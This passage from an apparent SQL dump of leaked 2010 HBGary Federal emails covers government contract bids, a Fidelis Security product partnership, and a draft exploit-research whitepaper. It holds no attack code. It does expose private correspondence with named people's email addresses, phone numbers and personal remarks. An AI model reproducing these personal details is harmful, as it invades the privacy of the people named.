&lt;John.Lovegrove@tasc.com\r\n&nbsp;&gt; wrote:\r\n\r\n&gt; FYI, we plan to respond as prime\r\n&gt;\r\n&gt; &lt;TRICKLER Market Survey.docx&gt;\r\n\r\n\r\n\r\n\r\n',468,'aaron_hbgary_com/468.html'),(4027,'2010-03-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002132.M158137P3547Q4027.eml','\"Pisani, Albert A.\" <albert.pisani@tasc.com>,\"Pisani, Albert A.\" <albert.pisani@tasc.com>','Re: TRICKLER Market Survey.docx','Good hire!  Paul used to run the ntoc I believe or something like that.John love to talk more about this opportunity next week.I think I have a pretty good story around threat intelligence that can reduce cost and increase capability.  It&#39;s all about bringing the right technology into the right framework.  Knowledge managment and dissemination is key since in the best of circumstances your going to have a few key analysts and the rest are &quot;in training&quot;.\r\nAaronFrom my iPhoneOn Mar 13, 2010, at 9:30 AM, &quot;Pisani, Albert A.&quot; &lt;albert.pisani@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\nAll;\r\nGood question\r\nAs long as we have some of the skills here we should. BTW, I just hired Paul Thrasher back from NG up at Cyber Command. He is currently working via one of these vehicles \r\n\r\nAl\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Lovegrove, John (TASC)\r\nCc: Pisani, Albert A.\r\nSent: Sat Mar 13 07:44:05 2010\r\nSubject: Re: TRICKLER Market Survey.docx\r\n\r\nPremature send.\r\n\r\nQuestion.  TASC used to own jtf-gno, jfcc-nw, 1at io.  Can you claim\r\npast performance for those even though they are now with Northrop?\r\n\r\nThose are big quals.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 12, 2010, at 3:20 PM, &quot;Lovegrove, John (TASC)&quot; &lt;John.Lovegrove@tasc.com\r\n &gt; wrote:\r\n\r\n&gt; FYI, we plan to respond as prime\r\n&gt;\r\n&gt; &lt;TRICKLER Market Survey.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n',16014,'aaron_hbgary_com/16014.html'),(4028,'2010-03-13','\"Pisani, Albert A.\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297002132.M370028P3547Q4028.eml','aaron@hbgary.com','Re: TRICKLER Market Survey.docx','\r\nAaron:I agree with your approach. Al\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Pisani, Albert A.Cc: Lovegrove, John (TASC)Sent: Sat Mar 13 08:40:51 2010Subject: Re: TRICKLER Market Survey.docx\r\nGood hire!  Paul used to run the ntoc I believe or something like that.John love to talk more about this opportunity next week.I think I have a pretty good story around threat intelligence that can reduce cost and increase capability.  It&#39;s all about bringing the right technology into the right framework.  Knowledge managment and dissemination is key since in the best of circumstances your going to have a few key analysts and the rest are &quot;in training&quot;.\r\nAaronFrom my iPhoneOn Mar 13, 2010, at 9:30 AM, &quot;Pisani, Albert A.&quot; &lt;albert.pisani@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\nAll;\r\nGood question\r\nAs long as we have some of the skills here we should. BTW, I just hired Paul Thrasher back from NG up at Cyber Command. He is currently working via one of these vehicles \r\n\r\nAl\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Lovegrove, John (TASC)\r\nCc: Pisani, Albert A.\r\nSent: Sat Mar 13 07:44:05 2010\r\nSubject: Re: TRICKLER Market Survey.docx\r\n\r\nPremature send.\r\n\r\nQuestion.  TASC used to own jtf-gno, jfcc-nw, 1at io.  Can you claim\r\npast performance for those even though they are now with Northrop?\r\n\r\nThose are big quals.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 12, 2010, at 3:20 PM, &quot;Lovegrove, John (TASC)&quot; &lt;John.Lovegrove@tasc.com\r\n &gt; wrote:\r\n\r\n&gt; FYI, we plan to respond as prime\r\n&gt;\r\n&gt; &lt;TRICKLER Market Survey.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n',11303,'aaron_hbgary_com/11303.html'),(4029,'2010-03-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002132.M684201P3547Q4029.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: TRICKLER Market Survey.docx','From my iPhoneBegin forwarded message:From: &quot;Pisani, Albert A.&quot; &lt;albert.pisani@TASC.COM&gt;\r\nDate: March 13, 2010 10:12:49 AM ESTTo: &lt;aaron@hbgary.com&gt;Subject: Re: TRICKLER Market Survey.docx\r\n\r\nAaron:I agree with your approach. Al\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Pisani, Albert A.\r\nCc: Lovegrove, John (TASC)\r\nSent: Sat Mar 13 08:40:51 2010Subject: Re: TRICKLER Market Survey.docx\r\n\r\nGood hire!  Paul used to run the ntoc I believe or something like that.John love to talk more about this opportunity next week.I think I have a pretty good story around threat intelligence that can reduce cost and increase capability.  It&#39;s all about bringing the right technology into the right framework.  Knowledge managment and dissemination is key since in the best of circumstances your going to have a few key analysts and the rest are &quot;in training&quot;.\r\n\r\nAaronFrom my iPhoneOn Mar 13, 2010, at 9:30 AM, &quot;Pisani, Albert A.&quot; &lt;albert.pisani@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAll;\r\nGood question\r\nAs long as we have some of the skills here we should. BTW, I just hired Paul Thrasher back from NG up at Cyber Command. He is currently working via one of these vehicles \r\n\r\nAl\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Lovegrove, John (TASC)\r\nCc: Pisani, Albert A.\r\nSent: Sat Mar 13 07:44:05 2010\r\nSubject: Re: TRICKLER Market Survey.docx\r\n\r\nPremature send.\r\n\r\nQuestion.  TASC used to own jtf-gno, jfcc-nw, 1at io.  Can you claim\r\npast performance for those even though they are now with Northrop?\r\n\r\nThose are big quals.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 12, 2010, at 3:20 PM, &quot;Lovegrove, John (TASC)&quot; &lt;John.Lovegrove@tasc.com\r\n\r\n &gt; wrote:\r\n\r\n&gt; FYI, we plan to respond as prime\r\n&gt;\r\n&gt; &lt;TRICKLER Market Survey.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11709,'aaron_hbgary_com/11709.html'),(4030,'2010-03-13','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297002135.M980612P3547Q4030.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','block diagram for new website',' \r\nTeam,\r\nI am working on concepts for the new website structure.  I want to keep the current look/feel and bones, but some of the flow needs to be corrected.  We are going to incorporate HBGary Federal somehow, so certain links will lead to federal pages, and vice versa.  You can see that I want the ticker back.  This new design is based largely on the idea we will be producing a steady stream of marketing materials / webinars / papers / videocasts / etc.  The site will need some new flash.\r\n\r\n \r\n-Greg\r\n',2056,'aaron_hbgary_com/2056.html'),(4031,'2010-03-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002136.M225271P3547Q4031.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Hey there','From my iPhoneBegin forwarded message:From: David Lirette &lt;rocky14er@gmail.com&gt;\r\nDate: March 12, 2010 11:55:06 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Hey there\r\nhey,The issue is that SMC in Los Angeles may follow the lead of the NRO in respect to the OCI test. If you want to be a SETA contractor, (which TASC now does) you cannot be a developer for the same entity. ADDITIONALLY, you cannot be a subcontractor to to a developer for that entity. Since TASC wants to bid the SBIRS SE&amp;I (SETA) contract for SMC (Billions) they may need to ditch my 10 slots working for NGES (a developer of SBIRS for SMC) TASC may shed all association with SBIRS development so my section basically disappears. \r\nDon&#39;t kill each other, I need a place to run when Vicki and I draw pistols and start firing! Talk to you soon.\r\nOn Mar 12, 2010, at 8:39 PM, Aaron Barr wrote:almost birthday boy!\r\nI&#39;ll give you a call over the weekend.  Nothing new here other than lots of work and Sandy and I are about ready to kill each other...so nothing new.\r\nTed told me there is something weird happening with one of your contracts, something about the people and not being able to hire them or something.  Opportunisitc question, can I help?  If there is something around that can we hire them and sub to you?  That was the way Ted posed it to me so I am regurgitating it, does what I am saying make any sense? :)\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7884,'aaron_hbgary_com/7884.html'),(4032,'2010-03-13','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297002136.M450583P3547Q4032.eml','greg@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, Greg, and Penny,\r\n\r\n\r\nBased on our conversations, I put together the following document on areas I\r\nsee opportunities for product integration to help customers detect and prevent malware-based\r\nattacks.&nbsp; Your thoughts and feedback are greatly appreciated.\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416\r\n        East West Highway, Suite 310\r\n        Bethesda, MD\r\n        20814 \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:\r\n          \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445 \r\n          (301) 652-7097\r\n          (202) 669-3628 \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7409,'aaron_hbgary_com/7409.html'),(4033,'2010-03-13','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297002142.M858175P3547Q4033.eml','greg@hbgary.com,greg@hbgary.com,','RE: FidelisCreatePolicies.pdf','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\n\r\n\r\nSorry for the additional message on this one.  We released version 6.0 of our\r\nproduct on 3/8, so the manual has been updated.  New version attached.\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Monday, March 08, 2010 1:29 PM\r\nTo: \'greg@hbgary.com\'\r\nCc: \'Penny Leavy-Hoglund\'; \'Aaron Barr\'\r\nSubject: FidelisCreatePolicies.pdf\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg and Penny,\r\n\r\n&nbsp;\r\n\r\nIt was great to meet in person on Thursday &#8211; really enjoyed\r\nthe conversation and think we can do some awesome stuff together.&nbsp; (Thanks\r\nagain for lunch too!)&nbsp; I think you said you are in Cabo now, and hopefully\r\nenjoying it!&nbsp; I&#8217;m very jealous as I&#8217;m in all day meetings or traveling all\r\nweek.\r\n\r\n&nbsp;\r\n\r\nHere were the action items I captured:\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSend you our Guide to Creating Policies\r\n(attached), which lists all of the policy/rule/fingerprint attributes we\r\nsupport to see how we can map HB Gary output to Fidelis XPS policy\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSchedule a technical call with Fidelis and HB\r\nGary technical teams.&nbsp; From our side, it will be me, Jerry Mancini (VP of\r\nEngineering) and Gene Savchuk (CTO.)&nbsp; &nbsp;When can we schedule the\r\ntechnical call/demos? \r\n\r\no&nbsp;&nbsp;\r\nAgenda for the call:\r\n\r\n§&nbsp; HB\r\nGary demo\r\n\r\n§&nbsp; Fidelis\r\nXPS demo\r\n\r\n§&nbsp; Discuss\r\nhow Fidelis XPS can export files to HB Gary\r\n\r\n§&nbsp; Discuss\r\nFidelis XPS CommandPost APIs for automating policy updates\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDetermine use case list based on output from\r\ncall.&nbsp; I&#8217;ll work on some draft slides in the interim based on our\r\nconversations.\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCreate marketing partnership using Fidelis Partner\r\nProgram&#8212;all fees waived if we can provided our appliances as VMWare\r\nimages.&nbsp; I&#8217;ll get you copy of the program.\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDetermine co-marketing an co-selling plans based\r\non above\r\n\r\n&nbsp;\r\n\r\nSeparately, I&#8217;ll continue to work supporting Aaron on the\r\nshort term joint opportunities.\r\n\r\n&nbsp;\r\n\r\nWhen can we schedule the technical call/demos?&nbsp; It\r\nlooks like we have time on 3/19 all day, and 3/26 before 1 PM ET.\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416\r\n        East West Highway, Suite 310\r\n        Bethesda, MD 20814 \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:\r\n          \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445 \r\n          (301) 652-7097\r\n          (202) 669-3628 \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',338,'aaron_hbgary_com/338.html'),(4034,'2010-03-14','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297002143.M278151P3547Q4034.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nQuick question for you, as I think\r\nPenny and Greg are on vacation.&nbsp; What is the name of the new product you\r\nguys are introducing?&nbsp; I have a two different names written down &#8211;\r\nActive Response and Active Defense&#8230;\r\n\r\n&nbsp;\r\n\r\nThanks!\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Saturday, March 13, 2010 4:42 PM\r\nTo: \'greg@hbgary.com\'; \'Aaron Barr\'; \'Penny Leavy-Hoglund\'\r\nSubject: Fidelis XPS / HB Gary Integration Opportunities \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron, Greg, and Penny,\r\n\r\n\r\nBased on our conversations, I put together the following document on areas I\r\nsee opportunities for product integration to help customers detect and prevent\r\nmalware-based attacks.&nbsp; Your thoughts and feedback are greatly\r\nappreciated.\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416 East\r\n        West Highway, Suite 310\r\n        Bethesda, MD 20814 \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:\r\n          \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445 \r\n          (301) 652-7097\r\n          (202) 669-3628 \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16277,'aaron_hbgary_com/16277.html'),(4035,'2010-03-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002143.M513289P3547Q4035.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: Fidelis XPS / HB Gary Integration Opportunities','Hey Dave.  It&#39;s active Defense.AaronFrom my iPhoneOn Mar 13, 2010, at 7:22 PM, &quot;Etue, David&quot; &lt;david.etue@fidelissecurity.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nQuick question for you, as I think\r\nPenny and Greg are on vacation.  What is the name of the new product you\r\nguys are introducing?  I have a two different names written down –\r\nActive Response and Active Defense…\r\n\r\n \r\n\r\nThanks!\r\nDavid\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\n\r\nSent: Saturday, March 13, 2010 4:42 PM\r\nTo: &#39;greg@hbgary.com&#39;; &#39;Aaron Barr&#39;; &#39;Penny Leavy-Hoglund&#39;\r\nSubject: Fidelis XPS / HB Gary Integration Opportunities \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron, Greg, and Penny,\r\n\r\n\r\nBased on our conversations, I put together the following document on areas I\r\nsee opportunities for product integration to help customers detect and prevent\r\nmalware-based attacks.  Your thoughts and feedback are greatly\r\nappreciated.\r\n\r\n \r\n\r\nDavid\r\n\r\n \r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416 East\r\n        West Highway, Suite 310\r\n        Bethesda, MD 20814 \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:\r\n          \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445 &lt;image001.gif&gt;\r\n\r\n          (301) 652-7097\r\n          (202) 669-3628 &lt;image001.gif&gt;\r\n\r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15907,'aaron_hbgary_com/15907.html'),(4036,'2010-03-14','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297002143.M989949P3547Q4036.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office AutoReply: Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\n\r\n\r\nOut of Office AutoReply: Fidelis XPS / HB Gary Integration Opportunities\r\n\r\n\r\n\r\n\r\nI am out of the office on vacation returning to the office on March 18.&nbsp;&nbsp; I will have limited access to e-mail and voice mail during this time.\r\n\r\nIf your matter is urgent, please contact me on my mobile, or call Fidelis Security Systems at +1 (301) 652-7190 and ask for assistance.\r\n\r\nSincerely,\r\nDavid Etue\r\n\r\n\r\n\r\n',8123,'aaron_hbgary_com/8123.html'),(4037,'2010-03-14','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297002146.M644525P3547Q4037.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Michael Staggs\" <mj@hbgary.com>','first draft of exploitation whitepaper',' \r\nGents,\r\nAttached is the first draft of the &#39;Exploitation Assessment with REcon&#39; whitepaper.  Comments / things you think we should add, etc, all welcome.  Just so you know I haven&#39;t spellchecked, done screenshots or graphics - this is a rough starter draft.\r\n\r\n \r\nJust a backgrounder: we are publishing this to show how Responder/REcon can be used for general purpose reverse engineering, not just for malware - more specifically how it can be used to find exploits and vulnerabilities in closed source binaries / COTS products.  I probably don&#39;t have to remind you that a solid working exploit can be sold for five-six figures in the black market, so it&#39;s heavy stuff.  This work is being performed as a direct result of Microsoft being a big customer of our Responder PRO product and they specifically use it for vulnerability auditing their own code.  That is why our two test cases are high profile exploits against windows / IE.\r\n\r\n \r\nAaron/Ted - if you think we should add anything to this paper that would help you on the federal side let me know.  I know we usually talk about malware, but HBGary has been involved in quite alot of exploit research in the past so it&#39;s still in our blood.  Shawn and I are planning to wrap this up over the next week, but this will probably prove out that REcon is the GO-TO platform for exploit research.\r\n\r\n \r\n-Greg\r\n',2038,'aaron_hbgary_com/2038.html'),(4038,'2010-03-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002146.M880848P3547Q4038.eml','\"Racz, James M\" <james.m.racz@lmco.com>','Re: Uno - HBGary capabilities brief','Hi Jim,\r\n\r\nI am getting my customer clearances back on Tuesday.  I would like to schedule a time when convenient for you to come in and talk about HBGary capabilities.  I spoke with Bill Thompson who said he had already discussed with you the partnership between HBGary and Xetron.\r\n\r\nAlso I heard there is an UNO conference coming up soon that I would like to attend if that is possible.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal\r\n719.510.8478\r\n\r\nOn Feb 17, 2010, at 6:37 PM, Racz, James M wrote:\r\n\r\n> WE\'re looking.......Had 1 question  however...Who paid for your extensive\r\n> analysis? Look like a lot of effort.\r\n> \r\n> Jim Racz\r\n> UNO Program\r\n> 703 466-3314\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, February 17, 2010 1:31 AM\r\n> To: Racz, James M\r\n> Cc: Ted Vera\r\n> Subject: Uno - HBGary capabilities brief\r\n> \r\n> Hi Jim,\r\n> \r\n> Please let me know when you are available to schedule an HBGary capabilities\r\n> briefing.  If you have some time next week that would be great.\r\n> \r\n> Thank you,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n\r\n\r\n',16537,'aaron_hbgary_com/16537.html'),(4039,'2010-03-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002147.M240525P3547Q4040.eml','\"Ted Vera\" <ted@hbgary.com>','Potential partner for COIN','Blackbird.  Shows toes to the technical side along with a nice android\r\ncapability including pre releases of the android platform for\r\ndevelopment. :)\r\n\r\nWe are going to win.\r\n\r\n From my iPhone\r\n',16343,'aaron_hbgary_com/16343.html'),(4040,'2010-03-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002147.M426482P3547Q4041.eml','\"Don Bailey\" <dbailey@blackbirdtech.com>','COIN recompete','Hey Don,\r\n\r\nAre you on a COIN team?  I would like to talk to you about the\r\nopportunity if not.  Also would just like to catch up.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',15281,'aaron_hbgary_com/15281.html'),(4041,'2010-03-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002147.M597420P3547Q4042.eml','\"Chris (TASC Inc) Clair\" <CHRISTOPHER.CLAIR@tasc.com>,\"Chris (TASC Inc) Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Antacid','Hey chris,\r\n\r\nHave you all talked with abraxis, and if so how did it go?  Might be a\r\ngood idea to talk with RavenWing as another potential infrastructure\r\ncapability.  We might be able to improve their existing capability.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',16781,'aaron_hbgary_com/16781.html'),(4042,'2010-03-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002147.M59859P3547Q4039.eml','\"Ted Vera\" <ted@hbgary.com>','Google pulling out of china','What if someone bought the infrastructure from them?  A new search\r\ncompany, or am existing smaller one?  Do you think that could work?\r\nImagine the benefit to some people.\r\n\r\n From my iPhone\r\n',14901,'aaron_hbgary_com/14901.html'),(4043,'2010-03-14','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297002147.M783433P3547Q4043.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks &#8211; guess I got Responder and Active Defense crossed J\r\n\r\n&nbsp;\r\n\r\nAre you all set for the RFIs in process based on what I sent\r\nover?&nbsp; Let me know if you need anything else.\r\n\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Saturday, March 13, 2010 7:32 PM\r\nTo: Etue, David\r\nSubject: Re: Fidelis XPS / HB Gary Integration Opportunities\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey Dave. &nbsp;It\'s active Defense.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 13, 2010, at 7:22 PM, &quot;Etue, David&quot; &lt;david.etue@fidelissecurity.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nQuick question for you, as I think Penny and Greg are on\r\nvacation.&nbsp; What is the name of the new product you guys are\r\nintroducing?&nbsp; I have a two different names written down &#8211; Active Response\r\nand Active Defense&#8230;\r\n\r\n&nbsp;\r\n\r\nThanks!\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Saturday, March 13, 2010 4:42 PM\r\nTo: \'greg@hbgary.com\'; \'Aaron\r\nBarr\'; \'Penny Leavy-Hoglund\'\r\nSubject: Fidelis XPS / HB Gary Integration Opportunities \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\nGreg, and Penny,\r\n\r\n\r\nBased on our conversations, I put together the following document on areas I\r\nsee opportunities for product integration to help customers detect and prevent\r\nmalware-based attacks.&nbsp; Your thoughts and feedback are greatly\r\nappreciated.\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416\r\n        East West Highway, Suite 310\r\n        Bethesda, MD 20814 \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          